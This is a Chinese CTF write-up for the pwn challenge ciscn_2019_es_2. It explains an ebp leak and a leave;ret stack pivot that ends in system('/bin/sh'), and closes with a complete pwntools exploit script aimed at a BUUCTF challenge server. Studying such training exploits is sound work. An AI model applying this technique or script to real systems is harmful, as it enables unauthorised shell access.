首页 > 其他分享 >ciscn_2019_es_2

ciscn_2019_es_2

时间:2023-08-08 12:56:25浏览次数:33  
标签:ciscn ret 2019 leave 地址 ebp payload2 0x38 es

ciscn_2019_es_2

0x01

32位开NX,有system函数,但是需要传入binsh。

image-20230808113405078

然而,栈上变量 s 位于 ebp-0x28,而 read 函数仅能读入0x30个字节,那么若想实施缓冲区溢出,只有0x08 = 0x30-0x28个字节供我们进行布局。因此,在只有 ebpret 能被篡改的条件下可尝试使用栈迁移。

image-20230808110517945

程序存在leave ret指令,并且存在system函数可执行

而binsh则需要在栈上传入

So,我们最终要将 esp(与 ebp)劫持到当前栈的另一区域上,以完成传统栈溢出payload的实施

在本题中,劫持目标地址即为缓冲区变量 s 的起始地址

0x02

第一步,泄露出ebp,通过ebp+偏移量的方法计算栈上地址

printf函数在未遇到"\x00"时会一直输出,可以用来泄露出ebp的值

因为栈上地址间的相对位置是确定的,所以我们可以通过第二次输入的位置和泄露的ebp地址的偏移来定位我们的目标地址

在第二次输入read函数返回处下断点调试,计算可得泄露ebp与缓冲区起始位置相距0x38

image-20230808112121242

第二步 栈迁移

精心构造栈上的布局来实现栈迁移

0x03

此处盗图,已标明

画栈图有助于理解整个流程

image-20230808113204424

整个长条表示read读入的字节长度0x30,old_ebp表示泄露的ebp,减去0x38指向的就是变量s的起始位置,返回地址被覆盖为leav_ret的地址。

第一次自带的leave指令执行后,ebp的值为old_ebp - 0x38 ,esp指向篡改的返回地址leave_ret;接着执行ret指令pop eip再一次执行leave ret

第二次leave指令执行后,esp指向ebp+4也就是图中'aaaa'的下一位,ebp的值仍为old_ebp - 0x38 ;此时已经完成栈迁移。接下来ret指令将ebp+4弹入eip执行,所以在aaaa之后的地址需要放置我们的system函数和binsh

image-20230808114650151

binsh和其地址都可以在迁移过后的栈上布局

0x04

exp

from pwn import *

p = remote("node4.buuoj.cn", 28160)

system_addr = 0x08048400
leave_ret = 0x080484b8

payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))

payload2 = b'aaaa' # for location, start of hijaction
payload2 += p32(system_addr)
payload2 += b'dddd' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')

payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave ret

p.sendline(payload2)
p.interactive()


标签:ciscn,ret,2019,leave,地址,ebp,payload2,0x38,es
From: https://www.cnblogs.com/imarch22/p/17613880.html

相关文章

  • Codeforces 1857D:Strong Vertices 与图论无关的出度最大统计
    1857D.StrongVerticesDescription:给定两个长度均为\(n\)的数组\(a\)和\(b\)(编号\(1\)~\(n\)),如果\(a_u-a_v\geqb_u-b_v\)\((u\neqv)\),那么从\(u\)到\(v\)建立一条有向边。"Strong"定义为:一个点\(V\)可以经过有向图中合法的通路到达其他所有的点。请求解出"......
  • hadoop组件---数据仓库(五)---通过JDBC连接hive的thrift或者hiveserver2
    我们在上一篇文章中已经学习了Hive的常用命令,但是如果使用其他的语言如何跟Hive进行交互呢。Thrift简介Hive拥有HiveServer(Thrift)或者Hiveserver2组件,提供了JDBC驱动服务,使得我们可以用Java代码或者Python来连接Hive并进行一些关系型数据库的sql语句查询等操作。HiveServer或者Hi......
  • Codeforces Round 891 (Div. 3)
    A.ArrayColoring题意给你\(n(2\len\le50)\)个数,你可以把每个数染成红或蓝,求是否有方案满足每个颜色都有数而且两种颜色每个颜色内所有数之和的奇偶性相同。多组数据\((t\le1000)\)。例如:\([1,2,4,3,2,3,5,4]\)染成\([\color{blue}1,\color{blue}2,\color{red}4,\color{......
  • python3 apscheduler 任务池 异常错误 /opt/www/taskPools1/venv/lib/python3.8/site-
    报错信息:(venv)root@VM-8-7-ubuntu:/opt/www/taskPools1#pythonmain.pyTraceback(mostrecentcalllast):File"/opt/www/taskPools1/venv/lib/python3.8/site-packages/apscheduler/jobstores/mongodb.py",line86,inadd_jobself.collection.insert_on......
  • Pentaho Report Design发布报表到Pentaho Server
    我们在前面两章分别学习了windows安装PentahoReportDesignPentahoReportDesign设计柱状图windows安装PentahoServer本章来学习PentahoReportDesign发布报表到PentahoServer。PentahoReportDesign准备报表使用PentahoReportDesign设计好报表之后需要呈现给其他人看时,......
  • Pentaho Report Design设计柱状图
    我们在上一章节已经安装了PentahoReportDesign,现在使用它来设计柱状图。新建bar模版如果才打开,可以看到有一些Samples模版可以选择,直接点击Charts和Bar即可。如图:或者新建一个空白的report模版,然后选中左边工具栏的chart工具,拖动到ReportHeader中,并拖动产生的图标调整大小。......
  • Wireshark抓包工具--做爬虫必备
     Wireshark抓包分析TCP的建立与断开过程tcp服务器2010Wireshark抓包分析TCP的建立与断开过程一、TCP建立连接 说明:在此图中HostA充当客户端角色,HostB充当服务器角色。TCP是因特网中的传输层协议,使用三次握手协议建立连接。当主动方发出SYN连接请......
  • 遇到问题---hadoop--Remote App Log Directory does not have same value for the 4 N
    情况因为我们的某台服务器空间不足,暂时清理不出来,所以需要修改一些存放数据的日志目录等。修改完毕之后发现报错错误的配置RemoteAppLogDirectorydoesnothavesamevalueforthe4NodeManagers。原因一般来说不同的主机不要求配置的目录一致,但是yarn.nodemanager.remote......
  • 数据仓库(十二)---分布式SQL查询引擎---teradata版本的presto安装和使用
    我们在使用presto过程中,发现facebook原版和京东原版都是解压可用,teradata版本的安装要麻烦一些。下面对teradata版本的安装过程进行记录。首要条件1、需要python2.6或者python2.7环境之所以需要python环境是因为teradata版本的presto把安装封装成了集群式安装。根据配置在安装过......
  • 【C#】FileStream使用汇总
    一、在FileStream流和byte[]中查找(搜索)指定字符串///<summary>///在当前流中搜索指定的byte[]///</summary>///<paramname="arr"></param>///<paramname="key">搜索关键字</param>......